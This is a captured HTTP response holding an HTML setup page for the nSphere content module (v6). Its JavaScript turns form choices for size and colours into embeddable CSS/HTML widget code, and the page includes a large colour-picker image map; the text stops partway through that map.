HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: CP="NOI CURa ADMa DEVa TAIa PSAa PSDa CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Content-Encoding: Content-Length: 16280 Cache-Control: private, max-age=82416 Date: Thu, 03 Mar 2011 22:59:34 GMT Connection: keep-alive <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <title>nSphere - Content Module Setup (v6)</title> <meta name="robots" content="noindex,nofollow" /> <script type="text/javascript"> function Defaults() { document.setup.i_dm_size.value = '300x250'; document.setup.i_dm_size_x.value = ''; document.setup.i_dm_size_y.value = ''; document.setup.i_dm_color_border.value = '000000'; document.setup.i_dm_color_title.value = '000000'; document.setup.i_dm_color_links.value = '336699'; document.setup.i_dm_color_hover.value = 'FF3300'; PrintCode(); } function showColor(val, target, name) { target.value = val; document.getElementById('colorPickerOff' + name).style.visibility = 'visible'; document.getElementById('colorPickerOn' + name).style.display = 'none'; PrintCode(); } function PrintCode() { var Code = ''; var Css = ''; var lSize = document.setup.i_dm_size.value; if (document.setup.i_dm_size_x.value != '' && document.setup.i_dm_size_y.value != '' && !isNaN(document.setup.i_dm_size_x.value) && !isNaN(document.setup.i_dm_size_y.value)) lSize = document.setup.i_dm_size_x.value + 'x' + document.setup.i_dm_size_y.value; var H = parseInt(lSize.substring(lSize.indexOf("x") + 1)); var W = parseInt(lSize.substring(0, lSize.indexOf("x"))); Code = "<style type=\"text/css\">\r\n"; Css += ".dmcontent_container {\r\n"; Css += " margin-top: 0;\r\n"; Css += " margin-right: 0;\r\n"; Css += " border: 1px solid #" + document.setup.i_dm_color_border.value + ";\r\n"; Css += " width: " + W + "px;\r\n"; Css += " height: " + H + "px;\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_title {\r\n"; Css += " text-align: left;\r\n"; Css += " font: bold 12px/18px Verdana, Arial, Helvetica, sans-serif;\r\n"; Css += " color: #" + document.setup.i_dm_color_title.value + ";\r\n"; Css += " width: " + W + "px;\r\n"; Css += " height: 20px;\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_body {"; Css += " line-height: 16px;\r\n"; Css += " float: left;\r\n"; Css += " overflow-y: auto;\r\n"; Css += " text-align: left;\r\n"; Css += " margin-right: auto;\r\n"; Css += " width: " + (W - 2) + "px;\r\n"; Css += " height: " + (H - 21) + "px;\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_body a:hover {"; Css += " text-decoration: none;"; Css += " color: #" + document.setup.i_dm_color_hover.value + ";\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_link {"; Css += " text-decoration: none;\r\n"; Css += " font: 11px Verdana, Arial, Helvetica, sans-serif;\r\n"; Css += " color: #" + document.setup.i_dm_color_links.value + ";\r\n"; Css += "}\r\n\r\n"; Code += Css; Code += "</style>\r\n"; Code += "<div class=\"dmcontent_container\">\r\n"; Code += "<div class=\"dmcontent_title\"> "; Code += document.setup.i_dm_title.value; Code += "</div>\r\n"; Code += "<div class=\"dmcontent_body\">\r\n"; for (i=0; i < document.setup.elements.length; i++) { if (document.setup.elements[i].checked != null && document.setup.elements[i].checked == 1) Code += " " + document.setup.elements[i].value + "<br />\r\n"; } Code += "</div>\r\n"; Code += "</div>\r\n"; document.setup.i_code.value = Code; addCss(Css); // add css seperately for IE PreviewModule(); } function PreviewModule() { var lModule = document.getElementById("frmModule"); var lModuleSub = lModule.childNodes[0]; if (lModuleSub != null) { lModule.removeChild(lModuleSub); lModuleSub = null; } lModuleSub = document.createElement("frmModuleSub"); lModuleSub.innerHTML = document.setup.i_code.value; lModule.appendChild(lModuleSub); } function addCss(cssCode) { styleElement = document.createElement("style"); styleElement.type = "text/css"; if (styleElement.styleSheet) { styleElement.styleSheet.cssText = cssCode; } else { styleElement.appendChild(document.createTextNode(cssCode)); } document.getElementsByTagName("head")[0].appendChild(styleElement); } function TrueFalseYesNo(Input) { if (Input) return ("yes"); else return ("no"); } function ClearAll(){ for (i=0; i < document.setup.elements.length; i++) document.setup.elements[i].checked = 0; } function CheckAll(){ for (i=0; i < document.setup.elements.length; i++) document.setup.elements[i].checked = 1; } </script> </head> <body style="font-family: Arial, Sans-Serif;" onload="PrintCode()"> <h1>Setup your nSphere Content Module (v6)</h1> <form name="setup"> <div style="width:50%;float: left;"> <h2>Control the display</h2> <table> <tr><td>Format:</td><td> <select name="i_dm_size" onchange="PrintCode();"> <optgroup id="Optgroup1" Label="Vertical"> <option value="160x600">160 x 600 (Wide Skyscraper)</option> <option value="120x600">120 x 600 (Skyscraper)</option> <option value="120x240">120 x 240 (Vertical Banner)</option> <option value="300x600">300 x 600 (Half Page Ad)</option> </optgroup> <optgroup id="Optgroup2" Label="Rectangle"> <option value="336x280">336 x 280 (Large Rectangle)</option> <option value="300x250" selected>300 x 250 (Medium Rectangle)</option> <option value="240x400">240 x 400 (Vertical Rectangle)</option> <option value="250x250">250 x 250 (Square)</option> <option value="200x200">200 x 200 (Small Square)</option> <option value="180x150">180 x 150 (Small Rectangle)</option> </optgroup> </select> </td></tr> <tr><td>Custom Size:</td><td> <input type="text" name="i_dm_size_x" value="" onchange="PrintCode();" /> x <input type="text" name="i_dm_size_y" value="" onchange="PrintCode();" /> </td></tr> <tr><td>Border:</td><td><input type="text" name="i_dm_color_border" value="000000" onchange="PrintCode();" /><span id="colorPickerOffi_dm_color_border" onclick="this.style.visibility = 'hidden'; document.getElementById('colorPickerOni_dm_color_border').style.display = 'block';"><img src="Images/ColorPallete.gif" alt="Choose colors" /></span><span id="colorPickerOni_dm_color_border" style="display: none"><map name="colmapi_dm_color_border"><area shape="rect" coords="1,1,7,10" href="javascript:showColor('00FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="9,1,15,10" href="javascript:showColor('00FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="17,1,23,10" href="javascript:showColor('00FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="25,1,31,10" href="javascript:showColor('00FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="33,1,39,10" href="javascript:showColor('00FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="41,1,47,10" href="javascript:showColor('00FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="49,1,55,10" href="javascript:showColor('33FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="57,1,63,10" href="javascript:showColor('33FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="65,1,71,10" href="javascript:showColor('33FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="73,1,79,10" href="javascript:showColor('33FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="81,1,87,10" href="javascript:showColor('33FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="89,1,95,10" href="javascript:showColor('33FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="97,1,103,10" href="javascript:showColor('66FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="105,1,111,10" href="javascript:showColor('66FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="113,1,119,10" href="javascript:showColor('66FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="121,1,127,10" href="javascript:showColor('66FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="129,1,135,10" href="javascript:showColor('66FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="137,1,143,10" href="javascript:showColor('66FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="145,1,151,10" href="javascript:showColor('99FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="153,1,159,10" href="javascript:showColor('99FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="161,1,167,10" href="javascript:showColor('99FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="169,1,175,10" href="javascript:showColor('99FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="177,1,183,10" href="javascript:showColor('99FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="185,1,191,10" href="javascript:showColor('99FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="193,1,199,10" href="javascript:showColor('CCFF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="201,1,207,10" href="javascript:showColor('CCFF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="209,1,215,10" href="javascript:showColor('CCFF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="217,1,223,10" href="javascript:showColor('CCFF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="225,1,231,10" href="javascript:showColor('CCFFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="233,1,239,10" href="javascript:showColor('CCFFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="241,1,247,10" href="javascript:showColor('FFFF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="249,1,255,10" href="javascript:showColor('FFFF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="257,1,263,10" href="javascript:showColor('FFFF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="265,1,271,10" href="javascript:showColor('FFFF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="273,1,279,10" href="javascript:showColor('FFFFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="281,1,287,10" href="javascript:showColor('FFFFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="1,12,7,21" href="javascript:showColor('00CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="9,12,15,21" href="javascript:showColor('00CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="17,12,23,21" href="javascript:showColor('00CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="25,12,31,21" href="javascript:showColor('00CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="33,12,39,21" href="javascript:showColor('00CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="41,12,47,21" href="javascript:showColor('00CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="49,12,55,21" href="javascript:showColor('33CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="57,12,63,21" href="javascript:showColor('33CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="65,12,71,21" href="javascript:showColor('33CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="73,12,79,21" href="javascript:showColor('33CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="81,12,87,21" href="javascript:showColor('33CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="89,12,95,21" href="javascript:showColor('33CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="97,12,103,21" href="javascript:showColor('66CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="105,12,111,21" href="javascript:showColor('66CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="113,12,119,21" href="javascript:showColor('66CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="121,12,127,21" href="javascript:showColor('66CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="129,12,135,21" href="javascript:showColor('66CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="137,12,143,21" href="javascript:showColor('66CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="145,12,151,21" href="javascript:showColor('99CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="153,12,159,21" href="javascript:showColor('99CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="161,12,167,21" href="javascript:showColor('99CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="169,12,175,21" href="javascript:showColor('99CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="177,12,183,21" href="javascript:showColor('99CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="185,12,191,21" href="javascript:showColor('99CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="193,12,199,21" href="javascript:showColor('CCCC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="re..